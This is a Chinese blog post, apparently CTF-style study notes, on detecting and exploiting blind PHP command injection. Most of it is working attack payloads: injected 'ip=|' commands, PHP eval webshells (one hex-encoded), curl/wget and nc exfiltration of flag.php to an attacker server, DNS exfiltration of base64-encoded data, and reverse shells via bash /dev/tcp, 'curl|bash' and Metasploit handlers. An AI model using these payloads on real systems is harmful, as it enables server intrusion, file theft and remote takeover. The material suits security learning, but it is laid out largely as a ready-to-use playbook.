浅谈PHP无回显命令执行

以前学过有回显的命令执行,但是无回显的还是第一次接触,这次就记录下来。

判断方法:

1.审计代码(我也不是很会)
2.延时判断

ip=|sleep 5

在这里插入图片描述

时间延长了就可能有无回显命令执行。
3.HTTP请求
①在公网服务器监听监听端口

nc -lp 4444

②向目标服务器发起http请求,执行curl命令

ip=|curl ip:4444

如果公网服务器能从监听端口得到一些信息,那麽他就可能存在无回显命令执行。

4.DNS请求

第一步
在解析的时候浏览器会检查缓存中有没有域名对应的ip地址,这个缓存是有过期时长的,一般是几分钟到几小时不等。

第二步
如果浏览器缓存没有,那么就检查操作系统的hosts文件,比如windows就是C:\Windows\System32\drivers\etc\hosts文件,linux在/etc/hosts文件中配置。

第三步
如果本地也没有配置那么就会根据向本机配置的本地区DNS域名服务器(LDNS)发起请求,如果你是通过学校连接互联网的一般是你学校的DNS服务器,如果你是在小区连接互联网的一般是网络提供商比如电信,联通的DNS服务器,DNS服务器通常不会太远。如何查看本机的域名服务器,在Linux可以通过cat /etc/resolv.conf查看。

假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。

①先去ceye.io注册账号,然后去会分配给我们个域名。
在这里插入图片描述
dt860r.ceye.io

②如果有域名解析就会被记录。

http://qidian.dt860r.ceye.io/

在这里插入图片描述

下面执行下测试命令

ip=|curl `whoami`.dt860r.ceye.io

应该出现这个www-data这个的
在这里插入图片描述
但我的没成功,不过出来这个页面就说明存在命令执行漏洞。

利用方法

1.执行命令

注意:此站点目录需要写权限

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容。

cat flag.php > flag.txt
cat flag.php >> flag.txt

写入进去之后,我们在进行读取

在这里插入图片描述
2.cp命令

cp flag.php flag.txt

然后访问flag.txt也可以得到flag

3.mv命令

mv flag.php flag.txt

然后也可以读取。

通过执行tar命令和zip命令打包或压缩php文件,在浏览器上下载打包或压缩文件解压得到php文件内容
(1)tar打包或tar打包并压缩

tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
#解打包并解压缩:tar zxvf flag.tar.gz

(2)zip压缩

zip flag.zip flag.php
#解压缩:unzip flag.zip

4.写入webshell(再下载)

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
或者 echo “<?php @eval(\$_POST[123]); ?>” > webshell.php

再利用

wget 网站 -0 webshell.php //下载shell,使用参数-O来指定一个文件名

再用蚁剑
在这里插入图片描述
成功了。

5.vps上记录脚本

①构造记录脚本
在自己的公网服务器站点根目录写入php文件,内容如下:
record.php

<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

②构造请求

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php`
wget http://*.*.*.*/record.php?data=`cat flag.php`

解密一下就行了(服务器没有权限的话,这种方法用不了)
在这里插入图片描述

6.dnslog带出

(1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
(2)将读取的文件命令用反引号``包含起来;
(3)拼接的域名有长度限制。

命令:

curl `命令`.域名
#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

在这里插入图片描述
解密一下就行了。
在这里插入图片描述
7.反弹shell

需要公网服务器打开某些端口

用法:

#1.首先在公网服务器使用nc命令监听端口
nc -lvp 8001 #或nc -vv -lp 8001

#2.然后在公网服务器上写一个文件(我写入到奇点文件),内容是下面命令
bash -i >& /dev/tcp/xxx.xxx.xxx.226/8001 0>&1

#3.最终浏览器上执行的payload(实际上就是在目标机执行curl x.x.x.226/奇点|bash)
ip=|curl x.x.x.226/奇点|bash

在这里插入图片描述
反弹成功!得到了flag。

8.msf反向连接

远程服务器使用msf

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 4444
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

在这里插入图片描述
我们用浏览器使用命令:

ip=|bash -i >& /dev/tcp/xxxxx(vps公网ip)/8001 0>&1
#如果上面这条命令在浏览器上执行失败。那么要将上面这条命令写入公网服务器上的一个文件中,在msf开始监听后,在测试点执行下面命令
ip=|curl x.x.x.165:8002/奇点|bash

公网服务器接收shell
目标服务器上执行命令后,会在公网服务器上接收到,然后在公网服务器上执行以下命令getshell

sessions -i 1
shell

在这里插入图片描述
cat flag.php得到flag。

9.使用nc

目标服务器也需要nc(这深有体会)

#1.公网服务器监听4444端口
nc -tlp 4444

#2.目标服务器执行如下命令
ip=|nc -t x.x.x.165 4444 < flag.php


-u参数调整为udp,当tcp不能使用的时候使用
#1.公网服务器监听4444端口
nc -ulp 4444
#2.目标服务器执行如下命令
ip=|nc -u x.x.x.165 4444 < flag.php

在这里插入图片描述
直接得到了flag。

10.curl上传文件读取源码

①获取Collaborator Client分配给Burp的链接

打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击
Copy to Clipboard

在这里插入图片描述
在这里插入图片描述

copy得到

rpk0oqfva062373ts11jaq2k6bc10q.burpcollaborator.net

构造paylaod:

ip=|curl -X POST -F xx=@flag.php http://rpk0oqfva062373ts11jaq2k6bc10q.burpcollaborator.net

查看Collaborator Client收到的数据
在这里插入图片描述
就记录到这吧!!!
跟着学长一步步来。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值